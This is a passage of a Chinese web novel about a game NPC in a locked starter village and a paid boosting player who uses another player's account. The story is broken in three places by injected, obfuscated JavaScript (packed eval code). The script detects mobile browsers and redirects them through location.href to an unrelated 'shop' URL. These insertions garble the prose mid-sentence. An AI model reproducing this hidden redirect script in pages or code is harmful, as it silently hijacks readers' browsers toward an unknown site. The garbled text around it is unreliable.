道长没搭理他,只抽空欣慰一下自己录屏不是无时无刻开着的——要不然还得后期把这一帧删掉,麻烦的呢。 “除了这个,我还有件事要找你帮忙。”柳清江换上一副严肃表情,连带着云琅神色也认真了些:“少侠尽管说就是。” “我大概要……嗯,在你这儿借个地方离开。” 玩家下号便是直接在游戏里消失,除此之外,包括翻墙跳崖闯人家门乱摸宝箱……诸如此类等等,实际称得上诸多不可名状的行为,npc即使看到也能做到逻辑自洽;但柳清江还是有点头疼,不知要如何和她解释之后会发生的事情。 “等‘我’醒来,新的行事作风大概和现在的我完全不同,”柳清江绞尽脑汁,小心翼翼地尝试和一脸迷茫的云琅说明情况:”他要是做了什么奇怪的事情……或是欺负你、欺负了村子里的其他人,你可以生气,但不要生我的气。” 云琅只稍微琢磨一会,便很干脆地点了点头。 “既然是少侠的请求,我接下就是。” 她没听懂,柳清江有点绝望的想,但是不耽误她立刻点头同意。 …… 道长得到承诺了,却没寻到应有的安心感,几乎称得上是焦虑地下线退号,转头就敲开了后台等待许久的那个联络账号。 对方反应也快,随时做好准备:“板板好,是这边可以上号的意思了吗?” 一剑霜寒:“可以,但是提醒一句,上号安静刷装备就行,不要乱说乱做乱搞事。” 奶妈你开大啊:“懂的板板[ok],确定一下,是剑阁道长号,然后刷到第一梯队的装备强度,同时游戏遇到追杀悬赏要包帅气反杀对吧?” 一剑霜寒:“是。” 奶妈你开大啊:“放心吧,咱金牌代打满格五星好评哈,有问题马上回复,要是不喜欢效果,后期也是可以包退款投诉一条龙的哈~” 道长忧心忡忡,几乎是他关闭对话框的同一秒,自己游戏内的账号就跳出了登录提醒。 总之……这个引起腥风血雨的号先交给代练负责了,柳清江无比严肃地琢磨着,正好趁着功夫拉个小号,重新把手法练一练吧。 5. 第五章 外乡人就是这点好,他们的离开大多悄无声息,也无需单独安排房间提供食宿。 十二郎看起来有点高兴,可仔细看看又觉得好像也没那么高兴,大概是因为云琅二话不说就将院子一边的空房间留给那个外乡人去住,一星半点挽留自己的意思都没有。 年轻人眼拢一层薄薄愁绪,又是惆怅无比地叹了口气。 唉,多无情的人呢。 对此,云琅的理由倒也十分充分:“留你下来,我还真有点担心你趁机对人家做点什么。” 他一个村子都不怎么出去的年轻人,到底能做什么?十二郎撇着嘴愤愤不平,小野兽的刁蛮脾气就是听声不听劝,被云琅点出来了也完全不会自我反省。 担心?担心是对的,但能让她担心就说明自己的手脚还是不够利索,要不然的话云娘怎么会第一时间就怀疑自己。 年轻人眉头一挑,脸上已经熟练换了一副乖巧撒娇的表情,正哼哼唧唧地准备先糊弄过这一茬,两人身后那刚刚关上没多久的门就重新又打开了。 “柳清江”从门后走了出来,目光完全是放空的,摸摸头又摸摸胸口,时不时还是停下来转个圈蹦跶两下,此情此景倒是很容易让人回忆往昔。 村子迎来第一批外乡人那会,他们也是这样四肢不调,喜好四处攀爬跳跃,仿佛某种猿类生物初具人形,行动难以预测,不可名状。 这个奇怪的“柳清江”飞快检查过自己的状态,然后才慢半拍地抬起头,和站在面前的两人对视:“代练上号,无事勿扰哈。” 云琅对这个词并不陌生,外乡游侠们喜欢说各种理解不了的怪话,这也是其中之一;大致可以理解为短期“夺舍”,不过是双方默认允许的情况。 而通常“代练”说话的时候,也就代表着真正的柳清江暂时不在这里。 “我看看我看看……啊呦老板怎么卡在这里下线了,”他脑袋一转,“柳清江”那张脸上又熟练露出个过分开朗阳光的笑,这弧度本来很亲切的,不过放在道长脸上,莫名多了几分违和的悚然。 ”劳驾问问,村口的车夫还在吗?能进清溪镇的那位。” 这位……“代练”,且先不知道他的名字,但气质舒朗谈吐活泼,稍微熟悉一点的都不会弄混他们两位。 十二郎眉头一挑,已经先一步反应过来什么,迅速换上灿烂笑脸,高高兴兴地凑了上去:“车夫老哥早就不在这儿干了,少侠要是想出小虞村,我倒是知道条水路能帮忙。” 他态度热络,神态也真诚,偏偏代练小哥笑容不变,动作却是稳稳地一动不动。 其他人姑且不说,这位走起路来叮叮当当的妖艳小帅哥到底是个什么风格,他可是很了解的。 …… 《万道征途》开服后的一段日子,曾经迎来一次玩家大规模投诉,那会小虞村的毒瘴还没有现在这样浓到在地图上都清晰可见,但也有玩家和客服反应,地图bug太多完全跑不动的情况。 此后客服做出回应:说是地图自然生成的地理现象,策划组不会做特殊的人为后台干预;之后玩家又发现了可以离开新手村的渠道越来越少,最稳定的则是寻找村子里经常走水路的npc。 在这其中,十二郎是最热情好客的一位,连带着那过分惊艳的妖艳美貌也带来了一波小小热度——直至晕晕乎乎被小帅哥送出小虞村的玩家发现,哎呀,地图上只有一片雾呢? 哎呀?忽然就回不去了呢。 这件事自然也得到了大量投诉,然而客服的回应和之前也没什么区别。 亲,这确实不是bug呢亲~ 亲,这是npc“十二郎”基于个人考量做出的主观行为,我们照理来说不能随便干扰呢亲~ 这倒不是客服在胡扯,毕竟宣传之初的官方提示就明白写出来了:为保证玩家独一无二的沉浸感,项目组尊重地图生成的随机性和npc的独立性,除难以挽回的恶性bug和攻击性事件之外,游戏策划不会干扰npc的任何自主行为。 换句话说,除非玩家自己找到回新手村的方法,不然游戏官方也是无能为力的呢~ …… 这次事件之后引发了游戏的第一波退服潮,大部分人觉得我是来玩游戏的不是来让游戏玩我的,一个npc都能压到我脑袋上那我还玩个屁;而另一部分则觉得这也是沉浸式的一种表现,并不是完全不能接受。 之后的地图又更新了几次,现在的小虞村几乎是被彻底锁定的状态,除了少数玩家还会单独开个号留在这里挂机回忆过去,大部分人都已经无法再返回最初的新手村了。 要单纯自己上号,那自然是无所谓的,可谁让这号是老板重金约的呢?代练小哥也是满心无奈;留在这里没什么能刷装备的地方,可要是就这么出去了,他还真没把握能把老板的号再送回来。 …… 当天晚上,刚刚才安静不久的论坛又顶上来一条新的热门帖子。 [求助帖:问问各位大佬,帮老板代练刷号,不过老板登陆地点在小虞村来着,有没有什么办法能在外面刷完后再把号送回来?] 这贴几乎是毫无预兆地被送上热门,一群平日里三过求助不入的家伙忽然拿出了前所未有的前辈热情冲了进去,在和贴主确定了各种细节之后,开始万分殷切给出各种指导,要求对方给id给坐标给上线时间,援助方法包括并不限于东风快递点击直达,不想达也可以他们这就拿上本赛季最好的装备过去定点一对一的近距离援助—— 什么一套装备多少钱,大家都是同门道友江湖豪杰,一方有难八方支援,要什么钱不钱的……! 代练小哥扫了一圈没发现什么有用信息,很机智的没有给出任何情报,而是当机立断地果断下线了。 …… 离开腥风血雨修罗场,然而实际问题没有得到半点解决,“柳清江”挠挠脑袋,准备先在安全区冷静一下。 倒是意外,云琅一直守在自己身边没离开,她在院子里随意席地而坐,闭目养神,如一尊白玉菩萨像。 代练入坑较晚,来的时候已经是新玩家默认门派为登陆地点,对于这位名义上的看板娘了解不多,仅限于论坛帖子和各大网站上数量可怜的剪辑视频,也许在开服时有点热度,只不过现在几乎也是查无此人的状态了。 这道算是第一次近距离接触……代练小哥想得出神,若不是还有职业道德让他矜持点,估计下一秒就要凑过去仔细看看了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094564|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “回过神了?”桃花树下闭目静坐的菩萨像忽然生了活气,她抬眸看来,温声提醒一句。 “柳清江”呆了呆,然后才反应过来,点头:“哦……没事了。” 看板娘级别的建模名副其实,倒是不太懂为什么要锁小虞村。放大世界主城挂机也好啊,就这么藏着,不怪总有玩家投诉这个。 他有点不解地挠挠脑袋,好奇问道:“你这是在守着我?” “十二郎对你有敌意,”云琅温声道,“那孩子脾气不算很好,他手段花样又多,少侠看来也没认真有提防他的意思,云琅并无其他意思,不过想着若是少侠在这期间不小心着了他的道,怕是柳少侠回来时,阁下不好交代。” 代练一愣。 他帮人上号也不止一次了,也没在npc面前回避过代练说法,不过如此明白被npc点出来不是本人倒还是头一回。心里好奇意味顿时更浓:“你能看得出来?” “为何看不出来?”云琅平静反问,“阁下与另一位实在相差太多,贸然将两位融为一谈,也实在是不礼貌。” “说真的?”面前这个“柳清江”忽然弯着眼笑起来,“要是我老板现在上号把我换下来,你认得出来?” 云琅点头:“自然认得出来。” “那我换我自己的样子和你聊,你也认得出来?”他补充道,“我样子很多哦,连我自己都不知道建了多少个号了。” 她再次点头,认真回答:“若一直都是你,云琅便一定认得出来。” “……嘶,”云琅听对面慢慢长吸一口气,也终于不在顾忌那点属于道长应有的矜持风度,选择拎着衣摆直接在云琅旁边蹲了下来,两条胳膊随意搭在膝盖上,饶有兴趣地打量着她:“没听说这游戏也会卖ml啊……” 云琅眨眨眼,脸上露出几分疑惑之色。 “……什么?” “没什么。”这一个单手托着下巴,嘻嘻笑道,“这话我随便说的,你不要往心里去哈。哦对了,反正你认得出来,那也不用一直叫我老板的账号了。” 他伸出手递到云琅面前,重做了次自我介绍:“我用最久的老号叫‘解佩环’,要不你就分开叫吧,这样我听着也方便些。” 云琅垂眸看了看那只递到自己面前的手,拇指向上,掌心侧向一边,脸上有些显而易见的疑惑,她顿了顿,但还是很配合地抬起手,又不太确定地根据他的动作慢慢调整了下姿势,轻轻和对方拍了下手掌。 女郎掌心触感温凉,一闪而逝。 “便依少侠所言。”云琅道。 她能猜到自己做法大概不太对,但不懂为何对方忽然就低着头捂着额头,半天都没能把脑袋抬起来。 “……哎呀,也行也行!”解佩环乐道,笑眯眯地重新立起手掌停在她面前,表情尽量调整的严肃:“呐,这样你看呢?” 这倒是能理解了,不过云琅不懂交换个名字有哪里值得击掌的,到底抬手跟着又拍一下,如此,看着对方一脸心满意足的放下手,直接盘腿坐在自己身边时,眼尾笑纹都不曾退去。 “少侠不忙了?”她问。 “忙还是忙的,”解佩环摇摇头,“不过现在嘛,抽空先歇一会~” 6. 第六章 在桃树下难得清静地放空一会思维,其实本质上也没过多久,解佩环的职业素质就开始重新上线,催促他起来去干活了。 看板娘确实体贴柔善,行事作风也是一板一眼,但说不出的端庄可爱,但很可惜,可爱没办法折现成老板需要的装备。 以防万一,解连环还单独敲了一次老板,确定对方确实不同意将自己的号带离小虞村。甚至在此基础上提出警告:要是他上号发现自己在异地登录了,那这单他要申请退款。 ……行吧。 代练小哥有点头疼,但看在金主出手阔绰的份上,这也不是不能当个事办。 本尊不能出去,那要不然换个思路……?无意识盯着旁边衣袍发呆的解连环下意识想,比如说之前那个帖子提供的思路,单独找个号出去把装备刷号,再进来和老板号交易绑定?这样总行了吧。 想到就开办,他本身也没有太大把握,干脆在自己惯常出没的几个高玩群里发言求助:新手村旧号登录,知道离开的方法了,那要是想回来怎么办呢? 这请求没引起太多水花,很快便陷入一片尴尬冷寂中。 这么个结果,解佩环虽然悻悻,但也并不觉得意外。 一来是新手村的定位摆在那里,本身可玩性实在太低;二来官方锁地图带起的热度都已经过去好久,即使现在问了,大部分人也是兴致寥寥。 正当他准备退出去自己再琢磨琢磨,忽然有人单独敲了敲他,开门见山地直接问:“是不是退坑账号当初在小虞村下线,现在找不到离开的方法了?” …… 解佩环特意看了一眼,id相思引,翻翻历史发言确定是个玩极乐宗的大佬。 极乐宗这门派也是特殊,开服之初靠着“极乐宗”这名字着实搞了一波刻板印象的快速代入,但这样一个门派搭配玩家的各种神奇操作,对外印象一开始不说非常不好,只能说是个专门骗色鬼参军内卷卖命的地方。 这么一个门派冷不丁找自己发言,解佩环下意识就提起了警惕心。 “别误会嘛,”对面显然不希望他无视自己,很快就补上了一句话,“没别的意思,和门派任务相关来着。” 这条发过来没多久,相思引又补了一条截图发过来,门派的任务介绍很简单,大概就是乱世之中困难重重,门派之中的诸多典藏也在不慎中丢失许多,请玩家四处帮忙收集信息。 各门各派都能刷到类似的任务,属于官方引导玩家主动跑地图的常见手段。id相思引的大佬还在耐心解释,他已经将现在开的地图刷的差不多了,唯独小虞村碰到什么也不懂的新手期,当时算是被官方坑了一把。 现在有人问,他便也想着试试运气。 解佩环琢磨琢磨,自己一个人也是没什么办法,也就答应了对方的组队请求。 …… 两人摸索着折腾了一会,最终勉强也算确定了下来,一个还在主城区,一个依旧在小虞村没出来。 好消息是两人能通过游戏内部的组队频道聊天,坏消息是拉队友的技能在小虞村的毒瘴下也不靠谱,无论是谁想要拽谁都没成功。 游戏外id相思引,内部名为南乡子的玩家不由得陷入沉思:“小哥,你这不太行啊。” 他辛辛苦苦绕了这么大的圈子,结果费了半天力气和什么也没干一样,这不是闹呢么。 解佩环语气诚恳:“哥们,要不然你看地图上我的定位试着过来呢?” “我从刚刚就在努力了哦?”南乡子慢悠悠的回复道,“但是很可惜,基本就是在原地打转,多走几步就发现自己又走回来了。” “那我没招了,”解佩环挠挠脑袋,不抱期待地顺口一问:“要不然我帮你问问十二郎?小虞村这里好像也就只有他进进出出的。” 南乡子总是慢悠悠地慵懒音调忽然微微一变:“十二郎也还在?” 解佩环:“在呢,这小子几乎就没走太远。” “哦……那就是说,云娘在你身边。”南乡子语调平平,十分笃定。 “嗯?”解佩环没反应过来,他直觉觉得哪里不对,下意识应了一声:“是的呀,有问题?” “没问题,只是我当初还没被撵出去小虞村那会,这小崽子就阴魂不散,总爱在她身边晃悠,没想到版本更新这么多次他居然还在那儿晃悠……”南乡子轻飘飘笑了一声,很是意味不明。 “嗯,应该是重要npc的意思?” “要不然,小哥,你直接问问十二郎本人呢?”南乡子忽然道,“十二郎能这么来回出入小虞村,说不定他身上还有什么隐藏的剧情线,可以试试看,成功的话游戏奖励给的不低的。” “……” 解佩环忽然有点不太乐意。 触发隐藏剧情游戏确实能给大量奖励,但这是代练的老板号,他干活并不是很想这么殷勤。 他顿了顿,随便含糊找了个理由准备糊弄过去:“能行吗?那小子对我敌意不低,一直想要给我下毒的样子。” “这好办,”南乡子笑眯眯的回答,“你也不用特意拿材料刷他好感度,就过去和他说一声,‘从此以后保证不再云琅面前晃悠了’,我保证他不说马上点头帮你,至少不会动不动就要给你下毒。” “行是行,”解佩环回答,“不过我是代练,这是我老板号,人家特意叮嘱过我,不许我乱搞事情。” “缺钱吗?”南乡子应得格外痛快:“我也急着完成任务,你帮我这个忙,他这单多少钱,我补给你双倍。” 解佩环:“唉,哥们这不是钱的问题……” 南乡子:“三倍够不够?要不咱凑个整,直接五倍吧,我可以即时转账。” 解佩环:“……板板你等我一下哈,云娘在我旁边保护我,这样要找十二郎说话稍微费点劲儿呢。” “你绕开云娘嘛,”南乡子在对面不厌其烦地提醒,“你不去和她说话就好了呀……而且你为什么就非要一直和她说话,直接和十二郎对话很难吗!?” 对方毫无自觉,茫然道:“因为走远的话十二郎就要给我下毒啊,云娘在我身边的话他就不敢了。” “……”南乡子那边传来了缓慢且压抑的沉重呼吸声。 间隔几次深呼吸后,对方才重又语气平静地开口,“你一直和她在一起,那就不可能和十二郎对话成功的。” 解佩环的回答也很坦诚:“可我离她远点的话我会中毒诶……哎呀,哥们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094565|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不在这儿你不懂,她愿意保护我,她人超好的。” 离得近了对不了话,离得远了就要中毒。 他一个平平无奇的代练,手边没材料号也不能祸害,要不是靠着旁边好心人,怎么坚持这么久? 他能怎么办,他也很苦恼诶。 南乡子:“……” 南乡子:“都说了,给你补钱。” 代练小哥沉沉叹了口气,语气听起来也是万分无奈:“板板,话虽然这么说,但是真的出事的话,被十二郎搞死的是我的老板号,之后受损的也是我的招牌……话又说回来了,您这么急着要我和十二郎对话的原因是什么呢?” 他顿了顿,才以一种相当耐心的语气回复道:“我一个代练,您重金翘了也就翘了,对你这个级别的大佬来说应该没什么影响;而且和十二郎对话也不一定就有隐藏剧情,说来说去,唯一受损的就是我现在老板的这个号。” “……我说,哥们,该不会你就是那个重金悬赏我老板的幕后吧?” “……” 南乡子没回复,或者说他没来得及回复,解佩环关闭组队频道的速度奇快无比,而有小虞村的瘴气屏蔽,至少现在他是绝对找不到这里的。 …… 一不小心好像耍了个帅的代练小哥心有余悸的拍拍胸口,不忘把刚刚刷到的关键信息发给真正的柳清江,让他提防一下对应id。 对面回复很快,认真表达感谢的同时也提出了一个关键问题:这种情报,他是怎么不出村就刷出来的? 代练小哥依旧以他金牌代打的手速关闭了对话框。 ……啊,头好痛,好像要砸招牌了。 解佩环在原地顶着道长的清冷皮相,无甚形象地按着脑袋,一旁云琅低头瞥他一眼,便也跟着微微俯身,问了一句:“怎么,遇到头疼的事情了?” “不知道算不算?”他挠挠脑袋,苦笑道,“遇到了个极乐宗的大佬,大概率要被追杀吧……没怎么和这门派打过,不保证能赢呢。” 云琅眨眨眼,似是陷入沉思。 “……极乐,宗?” 解佩环有点惊奇:“你不知道?” 云琅点点头,又摇摇头:“至少在我决定隐居在小虞村之前,没听过这个门派。” “那就不太妙了,”他倒也不以为意,随意笑道:“要不然我本来还想着找你陪我练练基础技能,稍微熟悉一下手感呢。” 这次,云琅并未思考太久,她只稍微打量了一会解佩环,就又点了点头:“可以。” “你和‘这位道长’不同,手法技巧都要娴熟的多……虽然我不太懂极乐宗到底用的什么武学心法,但是少侠既然开口,云琅愿意陪你一起试试。” 解佩环又是一乐:“这你也行?” 云琅看他眼睛,也跟着笑,不过她脸上笑意平和,整个人瞧着当真是柔柔软软,没有半点杀伤力:“我小时候也算是在武库长大的,得益家学渊源,族中长兄纵容溺爱,天下武学,各家心法,稍稍都会一些。” 解佩环很顺手地点开了云琅的技能描述栏,对着那个“诸武精通”短暂陷入沉思。 “……那云娘很谦虚了。”他点点头,诚恳道。 7. 第七章 要说对这群神奇少侠们的了解,云琅要说第二,怕是无人会认第一。 从很久之前就开始了——至于大概是多久之前呢,应当是第一批外乡人忽然就那样毫无预兆地进入小虞村,肆无忌惮地上蹿下跳,可那时所有人都对此习以为常,没人觉得这有问题。 哪怕他们在对话时会到处乱跑,当着人的面爬到房顶上蹦蹦跳跳,无数次尝试拿走水花婆婆的香包,对话时总是喜欢特意说一些难以理解的东西……也依旧如此。 云琅是会觉得奇怪的,可偏偏所有人都不觉得奇怪。 既然如此,那她也可以觉得这些不奇怪。 顶多是在一些确实很难接受的日常细节上,她还是会下意识地开口阻止,好在大多数少侠都没有想象中那样难以交流。 不少胡闹的少侠在得到她委婉拒绝之后,也会很奇怪地看着她,悻悻停手的同时,顺便嘀咕一句“连新手村的npc反应这么灵活吗?”。 这些话具体又是什么意思呢……女郎思考着,言外之意好像也能理解,但云琅也是实在懒得认真猜。 后来,时刻喜欢黏在她身边的那个叫十二郎的孩子,似乎也因为观察她太久,跟着反应过来什么。 “云娘,他们怎么这么喜欢往屋子里跑啊?” “云娘,他们怎么一直都在这儿呆着啊……” “云娘,云娘,外乡人奇奇怪怪的称呼为什么这么多?”十二郎撇着嘴,脸上写满孩子气的委屈,“我不喜欢这样子,我总觉得他们好像是在故意骗你……” 云琅只能微笑。 要说这个,她也没办法。 外乡的少侠们喜欢将名字取得乱七八糟,其中不乏一些晦涩拗口或是不符合正式名字格式的,不过这个问题她并没有苦恼太久,很快少侠们就把名字改成了可以正常称呼的。用他们私下里抱怨的话来说,就是“狗策划又加了新的敏感词”。 听不大懂。 但大概可以理解为,这些看似随心所欲的外乡人,似乎也没有自己想象中那样肆无忌惮。 …… 属于过往的记忆短暂复现,小虞村瘴气渐浓后,云琅也很久没再见过陌生的外乡人,直至名为柳清江的道长忽然再度造访,并算是间接为这里带来了另外一位陌生的小朋友。 解佩环如今使用着道长的身体,平时看起来有很多地方不适应,唯独功夫不见比本尊更弱——若要加上那位如今行动滞涩的生疏姿态,怕是实际对战的话,解佩环会赢得相当轻松。 这年轻人岁数不大,对剑阁功法却相当了解,云琅手上动作稍微放开几分,与他对练过程中接连换了几家不同门派武学,解佩环顶多在最初之时对她的招数变化稍有些惊奇,但不同门派的武学特色,又要如何变化拆招闪躲应对,他倒也是非常熟练。 若单论现在的水准,应该也算得上江湖上一流高手了。 初始的好奇试探散去后,云琅脸上又多了一分极淡地心不在焉,她手中木剑猝不及防生出个花俏变招,原本已经计算好的运剑路线忽然改了方向,而那变招也是当真花俏,幅度变化都明显得很,她剑上用力又轻,仿佛孩童一抬手也能横过挡下。 可这次解佩环脸上错愕反而比之前更重几分,青年的手腕被轻飘飘拍了下,拿来和她对招的木剑也就这样落在了地上。 …… “刚刚那是啥?”他晃晃手腕,满脸呆呆地看着俯身拾起自己木剑的云琅。 隐藏新门派?隐藏新功法?天哪这种游戏内开宗创派的隐藏大型奇遇终于轮到他了吗……啊等等能不能等他切个大号再来继续? “没什么,单独针对剑阁武学的一个小变招罢了。”云琅轻飘飘地一句话,立刻把解佩环从天上打回地上,也说不好是失落还是欣慰,到底还是让他稍微松了口气。 还好还好,他还没做好用老板号接奇遇的心理准备。 但松了这口气,解佩环又慢半拍地反应过来哪里不对:“不是新的门派功法吗?” 云琅摇摇头:“我倒也没那样的本事,不过是自己早年在这儿呆的无聊了,顺便琢磨了如何拆招,实战性不强的。”她顿了顿,不太确定的问:“很难破招吗?” 她动作设计很大了,照理来说很好拦才对啊。 获得无数五星好评的金牌代练罕见卡了几秒,然后才老老实实的回答:“啊,俺不会。” 云琅眨眨眼,语气放缓了几分:“是……很难做到吗?” 解佩环继续点头。 云琅想想,脸上也多几分愧疚之色:“那我教你。” “……”解佩环咂咂嘴,表情也是有些令她熟悉的无奈。 “我要怎么和你说这个呢……”解佩环很头疼的挠挠脑袋,不懂要如何和一个npc解释玩家的武学操作都是固定模式,在遇到她之前,pvp也好,大型副本也好,招数都是固定的,cd也是固定的,顶多在个人手操和装备强度上有差异。 不过单论纯粹的武学技,没有人能像她这么玩的。 ……应该是npc自带属性吧?不是真的可以无限破招吧?不是能突破底层代码轻松无视cd那种恐怖bug吧? 解佩环万分紧张的等了一会,甚至跑去敲了下客服以防万一,得到的回复是没有检测到任何恶意bug,一切行动符合人物设定,请玩家不要担心~ ……得了,大概率真的是npc的隐藏技能,代练小哥很无奈的想,也很宽容的接受了这个突如其来的新设定。 再怎么说也是看板娘嘛,被锁在这里的待遇已经很惨了,额外有一些策划的特殊小巧思也很正常。 明面上,他还要回应云琅的问题:“不用教我,我应该也学不会。”除非官方武学技彻底改版大修,不然他肯定学不会。 云琅的表情似乎有些遗憾。 “好。”她点点头,很坚定地轻声应道,“你不会,那我以后也不用了。” 解佩环先是一呆,随即很矜持地清了清嗓子,他挠挠脑袋又挠挠脸,目光游移着,总觉得这一刻自己好像什么姿势都不太舒服。 “你倒也不必这样……”他小声道。 云琅仍是摇了摇头。 “少侠不必想太多,只是也正好想起来了一些事情。”她柔柔一笑,那双眼分明是瞧着面前的人,眼神却微微放空,并没有真的在看着他。 “你和我这样说是,忽然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094566|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到年轻时也有人和我提醒过类似的话,说我锋芒太过,行事作风也总是逼人太狠,若是学不会何谓和光同尘,迟早有一天要出问题的。” 很久之前,那人也总是一脸头疼的看着她,不厌其烦地和她讲云娘你不要总是习惯把事情想得太简单,你说这招数明明很好破,你说别派武学思路多看一会也就会了,你说问题就摆在那里为什么不去解决…… 纵使是年少轻狂的年纪,但也还是锋芒太盛。 要出事的呀,云娘,他总爱这么说。 哪怕现在没问题,未来也一定会出事的。 …… 大概是云琅的眼神确实有些放空,解佩环稍微有那么一丁点被无视的不爽,哪怕知道这里可能涉及到隐藏剧情,但还是没忍住提前开口:“涉及过去的熟人?” 云琅被人打断也不恼,点点头,回答道:“是我兄长,我年轻时……嗯,是个很随心所欲的性子,他生前经常为了这个担心我,也经常提醒我。” 解佩环哦了一声,眼神一下子就清澈了。 不过年轻,她还能如何年轻时?解佩环不以为意,云琅笑笑,先前被人打断的话也就这样自然地戛然而止,转而回答了面前的这个问题:“自然是年轻时啦,那会我也才十六七岁的年纪,我如今三十有五,称呼诸位一句年轻少侠也没问题的。” 她说这话没毛病,而自己若是不打断的那样早,说不定还能引导她多补充一段隐藏的剧情设定。 游戏嘛,npc嘛,设定如此嘛,玩法就是这样嘛——特别是这种时代背景就是乱世群雄割据的大型游戏,核心玩法之一就是允许玩家挖掘npc身上的故事,拓展出新的故事线和隐藏剧情,云琅如今再如何边缘化,她也是这游戏的看板娘。 说她身上一点隐藏剧情也没有,那肯定是不可能的。 但解佩环就是有点说不出的不爽。 大概是她的眼睛太轻易地就能从自己身上挪开,自己随口一句话也能引起她昔日的回忆;大概是因为他也清楚,那近二十年的未知空白能容纳比想象中更多的故事,而无论玩家在这个时代的存在感有多么强大,在名为“过去”的概念面前,依然只能做故事的旁观者。 …… 思来想去,解佩环得出一个结论。 还是准备做的太少。 身为代练的自己一不小心和npc聊了太久,单单知道这是游戏看板娘,但对人物设定上没有任何心理准备,猝不及防听到对方提起一大段和自己没关系的剧情,会接受不了也是正常的。 怀抱着这样的自觉,当天下线的解佩环在论坛发布了一条[求助:新人刚刚入坑,求科普看板娘具体设定和错过剧情(合掌)]。 这帖子里面热情回复的人不少,他认真筛选了好一会,忽然后台对话框跳出来一个意料之外的人名。 依旧是id相思引,依旧是大佬本尊,不过这次对方先是和他发了一排安静的省略号,没有任何文字上的交谈,只默默传给他一个巨大的压缩包。 解佩环:…… 解佩环看着那个巨大的压缩包,不由得陷入了某种真切且沉重的感动之中。 同担,是好人呐。 8. 第八章 这一刻的解佩环,仿佛筛选性遗忘了此前这个id对他定点追杀陷害口碑想方设法把他从小虞村拐走……一切的情感,都凝聚在了这个巨大且无限伟大的压缩包上。 解佩环是标准的pvp玩家,各家门派武学熟练上手后转行做了代练,认真研究剧情这还是第一次。 游戏开服至今,所有剧情都还停留在最基础的铺垫背景、以及门派之间小打小闹的爱恨情仇上;而真正的核心主线剧情则以架空朝代的后梁为主,剧情脉络也很简单: 后梁内部朝堂昏聩腐朽,天下诸侯割据一方,而其中最强悍、也始终对中原武林虎视眈眈野心不掩的,便是漠北王庭。 第一阶段的剧情大多也是围绕这一部分,时间前数二十年,中原武林豪杰辈出,剑阁和摘星阁作为两大正统代表,又以交流武学作为理由设下群英会,天下英雄一同交手切磋。 彼时漠北尚未展露真实爪牙,而后梁新主登基,尚未暴露出日后软弱昏聩的性格,一切看起来都还好。 战乱未起,普通人的日子虽然难过,但咬咬牙也还能继续坚持下去。 漠北代表的无相楼也是在这时第一次出现,那边派出数位高手竞争本届群英会的最高奖励——由摘星阁阁主疏红女亲手制作的偃甲人偶一尊。 因着也是初次交手比赛,所以己方的各家高手大多选择点到为止,并未对无相楼设防太多,然而这份客气没能换来对应的尊重,反而被漠北一方不小心钻了空子—— 然有新客来。 白鹭洲,锦官城,尊邵氏为主。邵氏有女,称云娘,年十六。 三日后,邵氏女夺魁,所胜偃甲暂存摘星楼,于次日傍晚孤身离去,无人知其行踪。 …… 之后的剧情,应该是极乐宗内部隐藏文案。记录这段历史的人当时应该也只是随笔记录,尚且不知后来会如何,对自己的称呼仍是无门无派一过客,当日有幸受邀加入群英会,又因场上一时不察惜败对手,便在桃花林中静坐休憩。 也是此时,春日正好,微风徐徐,他见一名少女自远处纵马踏花而来,眸若朗星,色如春花,黑发白袍,腰配桃花鞘雁翎刀。 少女自溪畔停马,请他帮忙看管马匹,自己要进去玩一玩,写书人便在此时笑问那少女,若我趁这机会带了你的马走,姑娘又要如何? 她倒也不恼,大大方方地答,倒也不如何,阁下用得着它帮忙吗?那请自便吧。我走也是能走回去的。 写书人在这里停下,又写,想小子当年自负清高尊贵,吃穿用度无一不精,在哪里都被奉为坐上被,偏偏在那里被一股莫名的桃花香气弄晕了脑子,莫名其妙给人做了一次牵马坠蹬之人。 偏偏这一句之约,居然也真让他老老实实在那儿守了三天三夜。看着月亮在头顶升起又落下,终究是第四次明月升起时,少女再度风尘仆仆而来,见他仍在那里,反应反而比本人还惊讶。 哎呀,你怎么还在? ……我怎么不能在? “那几晚的月亮都是很好看的,摘星阁的灯也比旁处更亮些……我看她样子似乎也比前些日子更清晰,没受什么伤,倒是比前几日的笑容少了些。” 于是他便问,你输了? 少女摇头,懒洋洋地答,没,我和你们这些喜欢客客气气的不一样啦,下手狠了些,所以都打赢了。 “锋芒太过,不是好事。”他想想此前漠北高手那副眼高于顶的倨傲样子,先是欣喜,得意,随即又有些不安,对她这样轻描淡写地态度不太赞同,又自恃前辈身份,忍不住额外提醒一句。 